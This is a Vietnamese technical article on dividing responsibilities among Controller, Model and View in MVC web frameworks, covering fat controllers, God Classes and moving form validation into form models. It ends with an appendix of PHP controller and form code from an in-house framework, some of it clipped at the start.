Khi giao tiếp với Model, Controller sẽ tiến hành 2 cách
+ extract dữ liệu hay state
+ update dữ liệu
Ví dụ:
// Trong lớp Action của Controller
$productId = $this->request->get('product_id');
$electronicWarehouse = new ElectronicProductWarehouse();
$availableProducts = $electronicWarehouse->findAvailableProductsById($productId);
Sau khi có được dữ liệu, theo cách hành xử thông thường, View thích hợp sẽ được lựa chọn. COntroller sẽ chuyển tiếp dữ liệu vào View để nó xử lý
Ví dụ:
CakePHP, Zend Framework, Symfony, Ruby on Rails, Struts hay Spring MVC lựa chọn cách làm này. Bằng việc xóa khỏi bộ não View kiến thức về Model, Controller có thể thay thế nhiều Model, các API trên Model mà nhưng không cần phải nhắc View về điều đó. Điều này là đặc biệt quan trọng khi mà kiến trúc ứng dụng đòi hỏi phải phù hợp với việc các lớp Model cần thay đổi 1 cách linh hoạt (ví dụ như có sự can thiệp của Dependency Injection). Nhưng có vẻ như đây là nhiệm vụ của tầng Integration. Trong bài viết sau chúng ta sẽ xem xét lại vấn đề này với MVC Pull.// Trong lớp Action của Controller
// Load the PHP Savant2 class file and create an view instance.
require_once 'Savant2.php';
$view = new Savant2();
if (true === $availableProducts->empty())
{
// Assign values to the Savant instance.
$view->assign('products', $availableProducts);
// Display a template using the assigned values.
$view->display('products.tpl.php');
}
else
{
// Display a template using the assigned values.
$view->display('products_unavailable.tpl.php');
}
Có một số người khi thiết kế ứng dụng theo MVC đã cố gắng dồn hết chức năng điều khiển luồng vào lớp Action cho nên dẫn đến hiện tượng Fat Controller. Ví dụ như những người code Rails sau khi đã định nghĩa Model dựa trên ActiveRecords để làm các công việc như extract data, update data và validate dữ liệu thì họ bỏ hết trách nhiệm xử lý business logic sang cho Controller. Thực tế là
+ Fat Controller, hay Thin Controller là các từ gọi nôm na của một thiết kế tồi. Từ Fat có lẽ đến từ thế giới Ruby on Rails khi mà nhiều người ở đó quá cứng nhắc trong việc tuân thủ theo mô hình Rails mà không biết rằng bản thân Controller cũng có thể có các sub layer giúp giải phóng các tác vụ dạng thủ tục thành các thành phần nhỏ riêng biệt, nhưng vẫn thuộc về Controller. Hoặc theo 1 hướng khác, Model tỏ ra vô tránh nhiệm với dữ liệu trả về khiến cho công việc điều khối của Controller thêm nặng nề. (xem bên dưới)
+ Tôi cho rằng Controller cần làm đúng nhiệm vụ của nó. Nó không phải là God Class. Nó không thể đẩy trách nhiệm cho Model hay cho View chỉ bởi vì nó có nhiều việc hơn 2 thành phần kia trong 1 hay 1 số user case cụ thể nếu như giao diện giữa chúng đã đủ compact.
+ Theo code mẫu trên thi View có vẻ như hơi ít trách nhiệm. Một phần trách nhiệm xác định cấu trúc để hiển thị đã được đẩy sang cho Controller. Đây cũng là vấn đề làm cho Controller trở nên nặng nề hơn.
Do tính chất công việc của Controller là khá phức tạp và đa dạng cho nên việc Event Handler Controller có thể tiếp tục tách ra nhỏ hơn cũng là điều cần tính đến thay vì thực hiện việc xử lý tất cả các signal, user input ... trên cùng một lớp.
MODEL
Model là các lớp cung cấp dữ liệu, dịch vụ liên quan đến dữ liệu và business logic. Chúng có thể là
+ Đánh giá tính hợp lệ của dữ liệu.
Ví dụ kiểm tra user input có đúng với rule của hệ thống không (ví dụ user credentials...)
+ Chuyển đổi dữ liệu:
Ví dụ convert định dạng file, chuyển đổi tỉ giá, language translation ....
+ Đưa ra quyết định về nghiệp vụ:
Ví dụ đưa ra các dữ liệu, lời khuyên tư vấn đầu tư dựa trên user input và các dữ liệu đang có
Ví dụ có tính integration: thực hiện chính sách của công ty là từ ngày 20 - 24 thì áp dụng cách tính giá của phòng Sale 1. Sau thời điểm đó thì áp dụng cách tính giá của phòng Sales 2.
+ Thực hiện việc xử lý dữ liệu theo một quy trình (workflows): ví dụ controller tiếp nhận yêu cầu xuất kho 300 chiếc ô tô từ kho A từ user. Sau khi kiểm tra tính chính quy của việc gửi yêu cầu, Controller chuyển yêu cầu này thành lợi gọi hệ thống để thông báo cho Model. Tuy nhiên việc xuất kho 300 chiếc ô tô cần phải được thực hiện theo 1 workflow mà chỉ có Model biết. Tạm thời bỏ qua sự xuất hiện của một rule engine, chúng ta có thể thấy Model thực hiện một số đoạn code có tính thủ tục như: 1) Thông báo với module sales về việc bán được 300 chiếc ô tô và yêu cầu trả lời. 3) Model sales ghi nhận và kiểm tra chính sách hoa hồng và thời điểm hiện tại và chuyển tiếp yêu cầu đến module Inventory và module Accounting 4) module Accounting thực hiện việc tính toán, báo giá thanh toán theo USD và VND với tỉ giá ở thời điểm hiện tại cũng như không quên trừ triết khấu và hoa hồng và gửi kèm thông báo thanh toán theo theo yêu cầu xuất kho 5) module Inventory kiểm tra yêu cầu xuất kho từ Sales và thông báo thanh toán từ Accounting để xuất kho, và ghi nhận giao dịch bằng cách ghi lại mã số yêu cầu của Sales và mã số thanh toán của Accounting. module này tiếp tục kiểm tra số ô tô có trong kho theo chất lượng và đặc tả yêu cầu rồi trả lời: có được hay không 6) Nếu được, nó sẽ thành lập thông báo xuất kho ..... Cuối cùng Model trả lại trạng thái xử lý và dữ liệu nếu có.
Do có 2 vai trò tương đối tách biệt cho nên một Model thường được tách thành các lớp có các domain xử lý khác biệt
+ Business logic thường là xử lý rule hay policy của nghiệp vụ cũng như business workflows. Tầng này có sự góp mặt của các rule engine và các integration engine (trong đó có Spring bên Java và Flow3, Scarlet, Seasar, PHPCrafty bên PHP).
+ Domain data: Cung cấp/lưu trữ dữ liệu và việc chuyển đổi dữ liệu thành các dạng khác nhau theo yêu cầu. Các tầng như Persistent Layer nằm ở đây. Vì thế chúng ta sẽ gặp các lớp của PDO (PHP Data Object), Pear MDB2, PHP Doctrine, JDBC, JTA, JPA, Hibernate, JDO ... và cả các lớp thực hiện DAO.
Trong các tình huống đơn giản, Model chỉ làm vài thao tác đơn giản như fetch dữ liệu từ database. Trong các tình huống phức tạp, việc xử lý có thể là tổ hợp của hàng trăm lớp diễn ra trên 1 hoặc vài server hoặc thậm chí dữ liệu hay quyết định được đưa ra từ Model lại là tổng hợp kết quả từ 1 vài data center nằm rải rác trên vài lục địa. Do vậy trong Model không chỉ có các thao tác trên database và có còn là file system, memory, networking I/O ...
Worlflow mà Model điều khiển hoàn toàn có tính nghiệp vụ đặc thù. Nó khác với Application Flow vốn có tính hệ thống và thiên về technical analysis (phần cứng hay phần mềm) của Controller. Applicaton flow được xử lý như thế nào chủ yếu là do software architect xác định nhưng với workflows thì đó là do các business analyst xác định do nó thiên về nghiệp vụ (gần với cuộc sống và cách tổ chức quy trình làm việc của 1 tổ chức chứ không phải là quy trình kĩ thuật của thiết kế hướng đối tượng).
Model là Passive để hoạt động như là một Service Layer nhằm có thể re-use giữa các Controller nhưng nó không phải là dead-end. Thay vào đó nó cần biết giao tiếp với Controller như thế nào cho có hiệu quả. Sự hiệu quả này thể hiện ở 2 hướng
+ Signal hay message
+ Data type
Một software architect của Microsoft thường nhấn mạnh đến The Power Of Sameness trong software development trong đó bao gồm
+ Coding standard
+ Naming matters
+ Common interface
Khi Controller gọi Model thông qua API của Model, nó cần biết 1 số behavior chung của Model (tức là common interface). Ví dụ:
+ Cách Model đó gửi signal về quá trình nó xử lý yêu cầu. Có hay không có Exception, kiểu của Exception, Exception trong trường hợp nào. Những cái đó cần được comment chi tiết
+ Kiểu trả lại cần nhất quán và well-defined
Cái mà Controller quan tâm đến output của Model chính là trạng thái (message : false, true) hay dữ liệu. Vì Model thực hiện phần nghiệp vụ nên dữ liệu trả lại của nó cần phải phản ánh tính nghiệp vụ. Thông thường một kiểu trả lại được coi là well-defined nếu nó là một BO (Business Object) tức là một lớp getter/setter để nhận và xuất dữ liệu. BO thường là có kiểu phản ánh bản chất dữ liệu mà nó có ví dụ như
+ User
+ Product
+ Employee
Bằng cách trả lại các đối tượng được định nghĩa rõ ràng, Model trả tỏ ra có trách nhiệm với Controller hay các thành phần gọi nó để giúp các thành phần này bớt confused (giảm các đoạn mã if/else/switch/instanceof/try/catch) và tạo ra sức mạnh của cái gọi là The Power Of Sameness. Tuy nhiên, việc BO có thể chỉ là một data container thuần túy hay là một Domain Object thì còn đang gây tranh cãi vì getter/setter thuần túy sẽ gây sự nghi ngờ về tính hợp lệ của encapsulation. Tuy nhiên tôi vẫn có một quan điểm khác về kiểu của BO trong khi lập trình PHP.
Tương tự như trong trường hợp Controller lấy state từ Model, khi Controller cung cấp thông số cho Model để Model trả lại state theo hướng mà Controller mong muốn từ Controller cũng phải định nghĩa được 1 common interface.
VIEW
View là các lớp định nghĩa cách thức trình bày dữ liệu (không update dữ liệu). Trong các web framework, nó gồm 2 phần chính:
+ Template file định nghĩa cấu trúc và cách thức trình bày dữ liệu cho user. Ví dụ như layout, color, windows ...
+ Logic xử lý cách áp dụng dữ liệu vào cấu trúc trình bày. Logic này có thể bao gồm việc kiểm tra định dạng dữ liệu, chuyển đổi định dạng dữ liệu sang một sạng dữ liệu trung gian để có thể hiển thị với cấu trúc template đang có..., kiểm tra trạng thái và đặc tính của dữ liệu để lựa chọn một cấu trúc hiện thị phù hợp. Tất nhiên là trong Passive View thì việc lựa chọn cấu trúc hiện thị đôi khi lại do Controller.
Bản thân View cũng là một tổ hợp của nhiều lớp. Và nó cũng có thể có SubView để giảm tải trên 1 số lớp chính và để sử dụng lại mã. Và do vậy tính logic của View có thể là logic của một cây phân cấp.
Trong mô hình truyền thống, View có trách nhiệm chuyển đổi dữ liệu hay state của Model thành cấu trúc visual. Do vậy dữ liệu của Model cần well-defined (xem ở trên). Sự tách biệt của 2 thành phần này sẽ giúp cho người lập trình phân định được 1 biên giới rõ ràng giữa cách thức lưu trữ/lấy dữ liệu và cách trình bày dữ liệu. Do vậy tính phức tạp của quy trình lấy dữ liệu, xử lý dữ liệu cũng như (sự thay đổi của chúng theo thời gian) trước khi trả về sẽ không làm ảnh hưởng đến việc trình bày dữ liệu. Do vậy sự khác biệt về công nghệ lấy dữ liệu và công nghệ render không gây ảnh hưởng đến ứng dụng. Điều này khá quan trọng trong việc tích hợp các ứng dụng.
Ngoài ra, cách làm này thực sự đảm bảo việc tách biệt vai trò của người thiết kế giao diện với vai trò của lập trình viên thiên về dữ liệu. Như vậy khi làm việc theo nhóm, PM có thể tổ chức nhóm phát triển thành các nhóm kĩ năng và phát triển ứng dụng song song với nhau
+ Page designer
+ Application flow developer
+ Business Process and Data developer
Tuy nhiên, View của thế giới hiện tại đã khác đi nhiều. Có một lớp lập trình viên thiên về tầng presentation đã ra đời. Do vậy, nhóm kĩ năng mới sẽ là
+ Page designer: những người hiểu template file và cách design nó sao cho đẹp
+ Presentation Developer: những người hiểu template, hiểu template cần dữ liệu từ nguồn nào và còn hiểu cả cách cấu trúc template cần thay đổi như thế nào với dữ liệu và sự kiện từ Action Controller gửi xuống. Họ còn quan tâm đến việc View đó được sử dụng và sử dụng lại như thế nào trong các application flows khác nhau (ví dụ bối cảnh ajax). Đặc biệt họ quan tâm đến các ứng dụng mashup.
+ Application flow developer: người hướng đến việc render toàn bộ trang, page navigation và để trách nhiệm render từng khối cụ thể của trang vào Presentation Developer
+ Business Process and Data developer: người chỉ quan tâm đến việc kiểm tra tính hợp lệ của user input, business workflows, tính tích hợp của quy trình và dữ liệu nhưng không quan tâm đến dữ liệu đó được sử dụng ở đâu và theo cách render nào.
Vai trò của View cần thay đổi đặc biệt là các ứng dụng web thiên về View phức tạp khi vai trò của Model đã trở nên ổn định.
----------------------------------------------------------------
FAT CONTROLLER, THIN CONTROLLER VÀ GOD CLASS
----------------------------------------------------------------
Trong cộng đồng CakePHP, Zend Framework và Rails từ 1 - 2 năm trở lại đây bắt đầu xuất hiện lời ca thán về fat controller hay thin controller. Theo họ, việc chuyển một số công việc của Controller vào Model là hợp lý hơn. Phải chăng đó là dấu hiệu của God Class? Trong lập trình hướng đối tượng với MVC, việc tạo là một God Class là điều nên tránh. Fat Controller có thể là hiện tượng rời rạc của cái gọi là God Class. Tuy nhiên nó có thể chỉ là cách quan sát và nhận thức về tính thủ tục và labour-extensive của Controller hay View và tính tự động hóa do framework-backed của Model. Nhu cầu điều phối lại chức năng của Model, Controller và View rõ ràng là dấu hiệu của Code Smells.
Ví dụ: việc thiết kế Model thiếu trách nhiệm khiến cho công việc lọc và xử lý dữ liệu trả lại trên Controller và View trở nên labour-extensive hơn: http://weblog.jamisbuck.org/2006/10/18/skinny-controller-fat-model
Theo quan điểm của tôi, nếu bạn thấy Controller của bạn hay View làm nhiều hơn logic của nó cần có trong khi Model lại hơi ít việc quá thì hay xem lại cách thức giao tiếp giữa 3 thành phần này. Giao diện giữa chúng càng compact thì mô hình của bạn càng hiệu quả.
----------------------------------------------------------------
KHI CONTROLLER TRỞ THÀNH GOD CLASS
----------------------------------------------------------------
Controller có lẽ thành phần bị phê phán nhiều nhất trong MVC. Như đã nói ở trên rất nhiều những người code Rails sau khi đã định nghĩa Model dựa trên ActiveRecords để làm các công việc như extract data, update data và validate dữ liệu thì họ bỏ hết trách nhiệm xử lý business logic sang cho Controller. Controller cũng đóng vai trò là thành phần quản lý việc cung cấp dữ liệu cho View nên View thực sự là Passive. Thậm chí Controller còn biết cả cấu trúc tên biến dữ liệu sẽ dùng trên View. Lúc đó View giảm tính Logic của nó xuống chỉ là còn là điều khiển việc render trên 1 cấu trúc có sẵn. Vì thế ta thấy có công thức View = ViewRenderer.
Các khái niệm như partial hay slot chỉ là một cách tăng cường tính sử dụng lại view template và các view helper cũng chỉ làm 1 số logic xử lý dữ liệu trên View trước khi nó được render trên 1 cấu trúc template. Dữ liệu hoàn toàn là do Controller cung cấp. Theo cách này DRY biến mất vì cùng một thao tác cung cấp dữ liệu cho View có thể được duplicate trên nhiều Controller. Trên thực tế việc sử dụng lại View chẳng qua chỉ là sử dụng lại cấu trúc HTML và cách render dữ liệu trên trang HTML đó. Muốn dùng lại dữ liệu, bạn có thể cần pass cả đối tượng Model xuống View. http://mentalized.net/journal/2006/12/08/simplifying_my_rails_views/ Tôi gọi đây là một bad practice.
Cái mà View template cần chính là một thứ DTO (VOs) hoặc BO không phải là cả model vì chúng ta cần tránh phô trương quá nhiều logic trên template. Chúng ta nên tập trung các thao tác trên dữ liệu trên 1 hay 1 số node chính (đặc biệt là các node điều phối) của mô hình MVC thay vì trên các nhánh phụ để tổ chức và quản lý tài nguyên và nghiệp vụ cho dễ hơn.
Nếu như Controller xử lý quá nhiều (ví dụ như edit hay add 1 multi-step form là trường hợp tôi thấy khó chịu nhất) thì đó thường là liên quan đến xử lý user input thành dạng được chuẩn hóa trước khi phân tích nó thành 1 lời gọi trên Model. Thường thì khi đến Model, user input đã phải khá là fine grained. Tuy nhiên đối với các form phức tạp với nhiều checkbox có tính phân nhánh thì việc để Controller thực hiện việc validate dữ liệu là rất nặng nề. Như thôi đã nói ở trên Controller chỉ thực hiện các basic validation (ví dụ diễn giải URL thành các module, controller class và action method). Nhưng đối mặt với các form phức tạp với 20 - 30 input có phân nhánh mà để xử lý Controller có thể phải phân tích đến 10+ trường hợp và mỗi trường hợp có thể có đến nhiều hơn 1 trường hợp phụ thì Controller đã có nguy cơ phình to. Khi đó nhu cầu phân tách Controller đã xuất hiện.
Thông thường Controller được tách thành 3 lớp chính
+ Dispatcher
+ Filter
+ Event Handler: lớp Action trên Struts hay Zend hoặc Controller trên CakePHP, chính là nơi sẽ làm việc với user input và các quyết định trên View
Khi Event Handler Controller bị phình thì rõ ràng có lý do để xét đến
+ User Input Validation
+ Multistep View Handler
+ Changes Committer
+ View Selection
Theo cách làm của tôi, User Input Validation Logic nên được chuyển về cho Model và xác nhận rõ việc đánh giá user input theo các rule của application là một vấn đề business logic thay vì application flow logic. Điều này có tính hợp lý riêng. Ví dụ: trên trang contact, input có tên là job position không cần phải validate nhưng trên trang sign up thì lại cần. Lý do của sự khác biệt: do yêu cầu của nghiệp vụ. Rõ ràng là cách quy định này có thể thay đổi từ app này sang app khác mà không phụ thuộc vào software architect.
Khi đó thay vì dùng if/else, lớp thực hiện User Input Validation sẽ cài đặt các rule có sẵn hoặc custom rule hoàn toàn cách khỏi lớp Event Handler. Controller phụ trách event handler sẽ gọi đến Model chuyên biệt về xử lý user input này và yêu cầu validate hoặc không. Trong các trường hợp đặc biệt một form validation như vậy có thể re-use lại ở nhiều Controller khác nhau và hỗ trợ tính kế thừa.
Ví dụ:
+ Controller A sử dụng PasswordChangeForm để validate dữ liệu với các input pass1, pass2 và email
+ Controller B sử dụng PasswordChangeForm2 extends từ PasswordChangeForm với thêm input là username
Như vậy việc tách user input ở mức form ra khỏi Controller sẽ giúp
+ Reuse code thông qua re-use cả class hoặc extend
+ Reuse rule checking thông qua việc định nghĩa rule thành các chuẩn riêng
+ Reuse tính gắn kết rule vào form và do đó đơn giản hóa việc apply quy trình nghiệp vụ trên form.
Bằng cách này bạn sẽ thấy Event Handler Controller đã đơn giản đi rất nhiều. Trong phần tiếp theo tôi sẽ trình bày cách thiết kế MVC Pull của tôi để tiếp tục giảm vai trò điều phối của Controller và tăng tính chủ động của View
(còn tiếp)
----------------------------------------------------------------
Phụ lục
----------------------------------------------------------------
Code demo về việc tách form ra khỏi Controller. Các đoạn code dưới đây là các code thực sự chạy vận hành trên PONE framework để cung cấp 1 số dịch vụ tại World'Vest Base Inc. Tuy nhiên, đây là các code ở mức application developer. Do vậy, code này chỉ có thể test nếu có PONE framework. PONE cung cấp mô hình Observer pattern để các lớp dưới đây vận hành được.
File Home_PagesController: file Controller. Xem method contactAction()
_layout->attachCss('home');
// Attach file: javascript
$this->_layout->attachScript('home');
// Attach file: meta
$this->_layout->attachMeta('home');
}
/**
* When use comes to this page by a mistake, redirect them to the about-us page
*
* @link http://www.wvbresearch.com/home/pages
* @name index
* @access public
*/
public function indexAction()
{
$this->forward('home', 'pages', 'about');
}
/**
* Show the introduction page about the website and company behind it
*
* @link http://www.wvbresearch.com/home/pages/about
* @name about
* @access public
*/
public function aboutAction()
{
// Attach placeholder: the name of ElementGroup
$this->_layout->registerBody('homeAbout');
// Set content for the response
$this->_response->setContent($this->_layout->render());
}
/**
* Show the contact page
*
* @link http://www.wvbresearch.com/home/pages/contact
* @name contact
* @access public
*/
public function contactAction()
{
// Instantiate form object
$this->initForm('contact');
// Create action state object
$this->initState();
try
{
// Check if the form is submitted and/or is submitted correctly
if (false === $this->_form->isPost() || false === $this->_form->validate())
{
throw new Exception();
}
// Initialize the model object wih an appropriate database access object
$model = new ContactModel($this->getDatabaseConnection('oracleweb', true));
// Persist the form data into data storage medium (database, file system, messaging server, email server, file-backed memory server)
if (false === $model->save($this->_form))
{
throw new Exception();
}
}
catch (Exception $ex)
{
// the form input is not complete. User need to fill it (if the form is rendered at the first time)
// or user need to correct the data and submit again
$this->_state->setState(Pone_Action_State::FORM_INCOMPLETE);
}
// Render the body part that contains contact form
$this->_layout->registerBody('homeContact');
// Set content for the response
$this->_response->setContent($this->_layout->render());
}
/**
* Show the faqs page
*
* @link http://www.wvbresearch.com/home/pages/faq
* @name faq
* @access public
*/
public function faqAction()
{
// Attach placeholder: the name of ElementGroup
$this->_layout->registerBody('homeFaq');
// Set content for the response
$this->_response->setContent($this->_layout->render());
}
/**
* Show the WVB global offices page
*
* @see Group_HomeGlobalOffices
* @see index.tpl.php
* @link http://www.wvbresearch.com/home/pages/offices
* @name WVB Global Offices
* @access public
*/
public function officesAction()
{
// Attach placeholder: the name of ElementGroup
$this->_layout->registerBody('homeGlobalOffices');
// Set content for the response
$this->_response->setContent($this->_layout->render());
}
/**
* Show the sitemap page
*
* @link http://www.wvbresearch.com/home/pages/sitemap
* @name faq
* @access public
*/
public function sitemapAction()
{
// Attach placeholder: the name of ElementGroup
$this->_layout->registerBody('homeSitemap');
// Set content for the response
$this->_response->setContent($this->_layout->render());
}
/**
* Show the terms and conditions page
*
* @link http://www.wvbresearch.com/home/pages/termsandconditions
* @name termsandconditions
* @access public
*/
public function termsandconditionsAction()
{
// Attach placeholder: the name of ElementGroup
$this->_layout->registerBody('homeTerms');
// Set content for the response
$this->_response->setContent($this->_layout->render());
}
/**
* Show the terms and conditions page
*
* @link http://www.wvbresearch.com/home/pages/termsandconditions
* @name termsandconditions
* @access public
*/
public function privacyAction()
{
// Attach placeholder: the name of ElementGroup
$this->_layout->registerBody('homePrivacy');
// Set content for the response
$this->_response->setContent($this->_layout->render());
}
}
?>
File Form_Contact đúng vai trò như là Form Model, một model đặc biệt phục vụ cho việc xử lý form validation dựa trên business rules dành cho form.
setFormKey('contact');
$this->setFormFeedbackHeader(_t('common.error.form.false'));
$titleRules = array(
Pone_Form_Rule::NOT_EMPTY => array('feedback' => _t('common.error.title.empty'))
);
$this->setValidationRule('title', $titleRules);
$nameRules = array(
Pone_Form_Rule::NOT_EMPTY => array('feedback' => _t('common.error.name.empty'))
);
$this->setValidationRule('name', $nameRules);
$emailRules = array(
Pone_Form_Rule::EMAIL => array('feedback' => _t('common.error.email.notvalid'))
);
$this->setValidationRule('email', $emailRules);
$contentRules = array(
Pone_Form_Rule::NOT_EMPTY => array('feedback' => _t('common.error.content.empty'))
);
$this->setValidationRule('content', $contentRules);
}
}
?>
File Group_HomeContact: Vùng View sẽ tương tác trực tiếp với Form trên
getFront()->getActionController();
$this->form = $action->getDataForm();
if (null === $this->form)
{
throw new Pone_Exception('This element group is form-based so the action controller needs to initialize a form object for being re-used in this object');
}
$message = $action->getActionState();
if (Pone_Action_State::OK === $message->getState())
{
$this->_templateFile = 'homeContactCompletion';
}
}
}
?>